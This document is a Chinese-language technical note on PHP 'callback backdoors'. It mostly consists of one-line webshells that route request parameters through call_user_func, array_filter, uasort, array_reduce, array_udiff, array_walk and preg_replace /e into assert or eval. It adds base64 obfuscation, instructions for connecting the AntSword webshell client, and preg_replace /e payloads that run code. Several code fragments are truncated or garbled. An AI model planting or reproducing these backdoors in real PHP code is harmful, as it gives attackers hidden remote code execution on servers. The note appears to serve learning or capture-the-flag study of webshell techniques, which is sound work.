回调后门 函数
call_user_func
call_user_func把第一个参数作为回调函数调用,其余参数是回调函数的参数。
eval在php中不被当作一个函数,是动态执行指令。
$_REQUEST可以接收get post cookie
assert在php7.4及以后用不了了
<?php call_user_func(\'assert\', $_REQUEST[\'pass\']);
?pass=phpinfo();——>会把phpinfo();传给assert执行。
<?php call_user_func_array(\'assert\', array($_REQUEST[\'pass\']));// 把数组中的元素都交给assert
怎么让蚁剑连接呢?
http://127.0.0.1/RCE/a.php?pass=eval($_POST[\'abc\'])//为什么要加eval?//当蚁剑发送 POST 请求时,参数 abc 中是一段经过编码的恶意代码(如蚁剑的 payload)。如果没有 eval,这段代码只会被当作普通字符串处理,而不会被执行。加上 eval 后,$_POST[\'abc\'] 的内容会被当作 PHP 代码动态执行,从而实现远程命令控制。
进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调参数的函数,其实都有做“回调后门”的潜力。
array_filter
<?php$e = $_REQUEST[\'e\'];$arr = array($_POST[\'pass\'],);array_filter($arr, base64_decode($e));//给e传值assert,但是代码中有解码base64_decode,所以要先给assert进行base64编码(YXNzZXJ0)
array_filter — 使用回调函数过滤数组的元素,第一个是参数,第二个参数是回调函数。
此时是php7.3的版本,警告说assert不能动态传入
使用5.3版本成功了
uasort
uasort — 使用用户定义的比较函数对数组进行排序并保持索引关联,第二个参数是回调函数。
<?php$e = $_REQUEST[\'e\'];$arr = array(\'test\', $_REQUEST[\'pass\']);uasort($arr, base64_decode($e));
uksort
uksort — 使用用户自定义的比较函数对数组中的键名进行排序,必须写键名
1, $_REQUEST[\'pass\'] => 2);uksort($arr, $e);//payload和uasort一样,因为传的就是key。只是assert可以不用编码。
attay_reduce
array_reduce — 用回调函数迭代地将数组简化为单一的值,第二给是回调函数。
reduce把一个函数作用在一个序列上,这个函数必须接收两个参数,reduce把结果继续和序列的下一个元素做累积计算。
<?php$e = $_REQUEST[\'e\'];$arr = array(1);array_reduce($arr, $e, $_POST[\'pass\']);//相当于把pass的值追加道arr中
array_udiff
array_udiff — 用回调函数比较数据来计算数组的差集,回调函数在第三个。
<?php$e = $_REQUEST[\'e\'];$arr = array($_POST[\'pass\']);$arr2 = array(1);array_udiff($arr, $arr2, $e);//payload和array_reduce一样
preg_replace
preg_replace — 执行一个正则表达式的搜索和替换。
当使用被弃用的 e 修饰符(preg_replace
的 /e
模式)时, 它允许将匹配的字符串作为 PHP 代码执行,始终使用 eval。
第一个参数是匹配的模式,第二个是更换后的内容,第三个是原内容。
//结果 April1,2003
深入研究preg_replace \\e模式下的代码执行
$str) { echo complex($re, $str). \"\\n\";}function getFlag(){ @eval($_GET[\'cmd\']);}
上面假如替换以后是 eval(‘strtolower(“\\1”)’)
.*匹配除换行符以外的所有字符
.*={${phpinfo()}}
re就是.* 能匹配到传入的值{${phpinfo()}}
此时就是eval(strtolower({${phpinfo()}}))
原先的语句: preg_replace(‘/(’ . $re . ‘)/ei’, ‘strtolower(“\\1”)’, $str);
全部匹配 ${}
变成了语句: preg_replace(‘/(.*)/ei’, ‘strtolower(“\\1”)’, ${phpinfo()});
但是php中会把点替换成下划线
[\\s]表示,只要出现空白就匹配[\\S]表示,非空白就匹配那么它们的组合[\\s\\S],表示所有的都匹配\".\"是不会匹配换行的,所有出现有换行匹配的时候,就习惯使用[\\s\\S]来完全通配模式。
要让代码可以被执行,就是换一个正则表达式让其能够匹配到 {${phpinfo()}}
所以可以使用\\S*=${phpinfo()}
还有一个payload:\\S*=${getFlag()}&cmd=phpinfo();
eval(strtolower(${getFlag()})),就会调用getFlag(),执行cmd命令
array_walk
array_walk — 使用用户自定义函数对数组中的每个元素做回调处理
第一个是数组,第二个是回调函数
\'|.*|e\',);array_walk($arr, $e, \'\');
试试e=assert,pass=phpinfo();不行。
pass=phpinfo();是不变的,即$arr (‘phpinfo()’ => ‘|.|e’)
e=preg_replace
preg_replace(\'|.|e’, ‘phpinfo()’,‘’)